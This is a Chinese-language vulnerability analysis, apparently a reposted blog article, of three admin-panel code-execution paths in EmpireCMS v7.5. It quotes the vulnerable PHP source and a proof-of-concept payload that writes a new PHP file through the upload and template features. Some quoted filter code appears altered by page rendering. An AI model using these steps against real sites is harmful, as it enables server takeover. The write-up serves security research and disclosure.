empirecms最新版(v7.5)后台多处getshell分析

栏目: 数据库 · 发布时间: 7年前

内容简介:首先看跟进函数看到ftemp字段插入数据库

首先看 admin/ecmsmember.php 的43-46行

elseif($enews=='EditMemberForm')//修改会员表单
{
EditMemberForm($_POST,$logininid,$loginin);
}

跟进函数

function EditMemberForm($add,$userid,$username){
global $empire,$dbtbpre;
$fid=(int)$add['fid'];
if(empty($add[fname])||!$fid)
{
printerror("EmptyMemberForm","history.go(-1)");
}
//验证权限
CheckLevel($userid,$username,$classid,"memberf");
$enter=TogMemberqenter($add['cname'],$add['center']);//录入项
$viewenter=TogMemberqenter($add['cname'],$add['venter']);//显示项
$mustenter=TogMemberMustf($add['cname'],$add['menter']);//必填项
$canaddf=TogMemberMustf($add['cname'],$add['canadd']);//增加项
$caneditf=TogMemberMustf($add['cname'],$add['canedit']);//修改项
$searchvar=TogMemberMustf($add['cname'],$add['schange']);//搜索项
$filef=ReturnMFileF($enter,$dbtbpre."enewsmemberf",0,"file");
$imgf=ReturnMFileF($enter,$dbtbpre."enewsmemberf",0,"img");
$tobrf=ReturnMFileF($enter,$dbtbpre."enewsmemberf",0,"textarea");
$checkboxf=ReturnMFileF($enter,$dbtbpre."enewsmemberf",0,"checkbox");
//自动生成表单
if($add[ftype])
{
$add[ftemp]=ReturnMemberFtemp($add['cname'],$add['center']);
}
$sql=$empire->query("update {$dbtbpre}enewsmemberform set fname='$add[fname]',ftemp='".eaddslashes2($add[ftemp])."',fzs='".addslashes($add[fzs])."',enter='$enter',mustenter='$mustenter',filef='$filef',imgf='$imgf',tobrf='$tobrf',viewenter='$viewenter',searchvar='$searchvar',canaddf='$canaddf',caneditf='$caneditf',checkboxf='$checkboxf' where fid=$fid");
//生成表单页面
ChangeMemberForm($fid,$add[ftemp]);
if($sql)
{
insert_dolog("fid=".$fid."<br>fname=".$add[fname]);//操作日志
printerror("EditMemberFormSuccess","member/ListMemberForm.php".hReturnEcmsHashStrHref2(1));
}
else
{printerror("DbError","history.go(-1)");}
}

看到ftemp字段插入数据库

然后跟进 ChangeMemberForm 函数

function ChangeMemberForm($fid,$mtemp){
global $empire,$dbtbpre;
$file="../data/html/memberform".$fid.".php";
$sql=$empire->query("select f,fhtml from {$dbtbpre}enewsmemberf");
while($r=$empire->fetch($sql)){
$mtemp=str_replace("[!--".$r[f]."--]",$r[fhtml],$mtemp);
}
$mtemp="<?php
if(!defined('InEmpireCMS'))
{exit();}
?>".$mtemp;
WriteFiletext($file,$mtemp);
}

发现 mtemp 字段被写入文件,文件名为 memberform.$fid.php

<?php
if(!defined('InEmpireCMS'))
{exit();}
?><?php phpinfo(); ?>

现在我们拿到的是这样的,没办法直接访问来getshell,但是问题不大

全局搜索一下

empirecms最新版(v7.5)后台多处getshell分析

跟进 admin/member/addmember.php

126行 $formfile='../../data/html/memberform'.$formid.'.php';

下面肯定有文件包含的操作,继续往下走

243行  @include($formfile);

那么我们

empirecms最新版(v7.5)后台多处getshell分析

选用含有 shell 的表单

empirecms最新版(v7.5)后台多处getshell分析

修改用户所属会员组,修改为含有shell的会员组

empirecms最新版(v7.5)后台多处getshell分析

成功getshell.

后台getshell(二)

看ecmsmod.php第155-162行

elseif($enews=="LoadInMod")
{
$file=$_FILES['file']['tmp_name'];
$file_name=$_FILES['file']['name'];
$file_type=$_FILES['file']['type'];
$file_size=$_FILES['file']['size'];
LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}

跟进LoadInMod函数

function LoadInMod($add,$file,$file_name,$file_type,$file_size,$userid,$username){
global $empire,$dbtbpre,$ecms_config;
//验证权限
CheckLevel($userid,$username,$classid,"table");
$tbname=RepPostVar(trim($add['tbname']));
if(!$file_name||!$file_size||!$tbname)
{
printerror("EmptyLoadInMod","");
}
//扩展名
$filetype=GetFiletype($file_name);
if($filetype!=".mod")
{
printerror("LoadInModMustmod","");
}
//表名是否已存在
$num=$empire->gettotal("select count(*) as total from {$dbtbpre}enewstable where tbname='$tbname' limit 1");
if($num)
{
printerror("HaveLoadInTb","");
}
//上传文件
$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
<a href="http://paper.tuisec.win/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="b793d4c78af7dad8c1d2">[email protected]</a>_uploaded_file($file,$path);
if(!$cp)
{
printerror("EmptyLoadInMod","");
}
DoChmodFile($path);
@include($path);

这里如果是去爆破文件名的话也很简单,不可控的就

make_password(10)

10位随机数,因为这里拿不到种子,并不能去预测

但是下面

@include($path);

直接包含了这个文件,那么直接写入就可以。

<?php
file_put_contents("p0desta.php","<?php phpinfo(); ?>");
?>

empirecms最新版(v7.5)后台多处getshell分析

后台getshell(三)

empirecms最新版(v7.5)后台多处getshell分析

看代码ecmscom.php第46行

if($enews=="AddUserpage")//增加自定义页面
{
AddUserpage($_POST,$logininid,$loginin);
}

跟进函数 AddUserpage

function AddUserpage($add,$userid,$username){
global $empire,$dbtbpre;
//操作权限
CheckLevel($userid,$username,$classid,"userpage");
$classid=(int)$add[classid];
$title=$add['title'];
$path=$add['path'];
$pagetext=$add['pagetext'];
if(empty($title)||empty($path))
{
printerror("EmptyUserpagePath","history.go(-1)");
}
$title=hRepPostStr($title,1);
$path=hRepPostStr($path,1);
$pagetext=RepPhpAspJspcode($pagetext);
$pagetitle=RepPhpAspJspcode($add[pagetitle]);
$pagekeywords=RepPhpAspJspcode($add[pagekeywords]);
$pagedescription=RepPhpAspJspcode($add[pagedescription]);
$tempid=(int)$add['tempid'];
$gid=(int)$add['gid'];
$sql=$empire->query("insert into {$dbtbpre}enewspage(title,path,pagetext,classid,pagetitle,pagekeywords,pagedescription,tempid) values('$title','$path','".eaddslashes2($pagetext)."','$classid','".eaddslashes($pagetitle)."','".eaddslashes($pagekeywords)."','".eaddslashes($pagedescription)."','$tempid');");
$id=$empire->lastid();
ReUserpage($id,$pagetext,$path,$title,$pagetitle,$pagekeywords,$pagedescription,$tempid);
if($sql)
{
//操作日志
insert_dolog("id=$id&title=$title");
printerror("AddUserpageSuccess","template/AddPage.php?enews=AddUserpage&gid=$gid&ChangePagemod=$add[pagemod]".hReturnEcmsHashStrHref2(0));
}
else
{
printerror("DbError","history.go(-1)");
}
}

可以发现是有处理函数的,跟进看一下

function RepPhpAspJspcode($string){
global $public_r;
die(var_dump($public_r[candocode]));
if(!$public_r[candocode]){
//$string=str_replace("<?xml","[!--ecms.xml--]",$string);
$string=str_replace("<\","<\",$string);
$string=str_replace("\>","\>",$string);
$string=str_replace("<?","<?",$string);
$string=str_replace("<%","<%",$string);
if(@stristr($string,' language'))
{
$string=preg_replace(array('!<script!i','!</script>!i'),array('<script','</script>'),$string);
}
//$string=str_replace("[!--ecms.xml--]","<?xml",$string);
}
return $string;
}

可以发现是有做替换操作的,那为什么会可以getshell呢,通过echo出 $public_r[candocode]

1 也就说说这个if判断条件进不去

empirecms最新版(v7.5)后台多处getshell分析

默认设置为1,那么这个函数就相当于没有

可以发现在functions.php的第305行-319行

function RepPhpAspJspcodeText($string){
//$string=str_replace("<?xml","[!--ecms.xml--]",$string);
$string=str_replace("<\","<\",$string);
$string=str_replace("\>","\>",$string);
$string=str_replace("<?","<?",$string);
$string=str_replace("<%","<%",$string);
if(@stristr($string,' language'))
{
$string=preg_replace(array('!<script!i','!</script>!i'),array('<script','</script>'),$string);
}
//$string=str_replace("[!--ecms.xml--]","<?xml",$string);
$string=str_replace("<!--code.start-->","<!--code.start-->",$string);
$string=str_replace("<!--code.end-->","<!--code.end-->",$string);
return $string;
}

有个同样的替换操作的函数,如果使用这个函数也是很安全的。

继续往下走

进入函数

ReUserpage($id,$pagetext,$path,$title,$pagetitle,$pagekeywords,$pagedescription,$tempid);

跟进 eclassfunctions.php

function ReUserpage($id,$pagetext,$path,$title="",$pagetitle,$pagekeywords,$pagedescription,$tempid=0){
global $public_r;
if(empty($path))
{
return "";
}
$path=eReturnTrueEcmsPath().'e/data/'.$path;
DoFileMkDir($path);//建目录
eAutodo_AddDo('ReUserpage',$id,0,0,0,0);//moreportdo
if(empty($pagetitle))
{
$pagetitle=$title;
}
//模板式
if($tempid)
{
$pagestr=GetPageTemp($tempid);
}
else
{
$pagestr=$pagetext;
}
$pagestr=InfoNewsBq("page".$id,$pagestr);
$pagestr=RepUserpageVar($pagetext,$title,$pagetitle,$pagekeywords,$pagedescription,$pagestr,$id);
$pagestr=str_replace("[!--news.url--]",$public_r['newsurl'],$pagestr);
//die(var_dump($pagestr));
WriteFiletext($path,$pagestr);
}

发现代码进入 $pagestr=InfoNewsBq("page".$id,$pagestr);

跟进这个函数

function InfoNewsBq($classid,$indextext){
    global $empire,$dbtbpre,$public_r,$emod_r,$class_r,$class_zr,$fun_r,$navclassid,$navinfor,$class_tr,$level_r,$etable_r;
    if(!defined('EmpireCMSAdmin'))
    {
        $_GET['reallinfotime']=0;
    }
    if($_GET['reallinfotime'])
    {
        $classid.='_all';
    }
    $file=eReturnTrueEcmsPath().'e/data/tmp/temp'.$classid.'.php';
    if($_GET['reallinfotime']&&file_exists($file))
    {
        $filetime=filemtime($file);
        if($_GET['reallinfotime']<=$filetime)
        {
            ob_start();
            include($file);
            $string=ob_get_contents();
            ob_end_clean();
            $string=RepExeCode($string);//解析代码
            return $string;
        }
    }
    $indextext=stripSlashes($indextext);
    $indextext=ReplaceTempvar($indextext);//替换全局模板变量
    //替换标签
    $indextext=DoRepEcmsLoopBq($indextext);
    $indextext=RepBq($indextext);
    //写文件
    WriteFiletext($file,AddCheckViewTempCode().$indextext);
    //读取文件内容
    ob_start();
    include($file);
    $string=ob_get_contents();
    ob_end_clean();
    $string=RepExeCode($string);//解析代码
    return $string;
}

empirecms最新版(v7.5)后台多处getshell分析

然后下面的 include 将会包含这个文件,也就是说我们同样可以利用

<?php
file_put_contents("p0desta.php","<?php phpinfo(); ?>");
?>

这样来getshell,或者直接返回执行命令的回显。

  • 这个cms后台getshell的点很多,不再细找,简单拿出3个来举例。
empirecms最新版(v7.5)后台多处getshell分析

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Agile Web Development with Rails 4

Agile Web Development with Rails 4

Sam Ruby、Dave Thomas、David Heinemeier Hansson / Pragmatic Bookshelf / 2013-10-11 / USD 43.95

Ruby on Rails helps you produce high-quality, beautiful-looking web applications quickly. You concentrate on creating the application, and Rails takes care of the details. Tens of thousands of deve......一起来看看 《Agile Web Development with Rails 4》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

在线进制转换器
在线进制转换器

各进制数互转换器

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具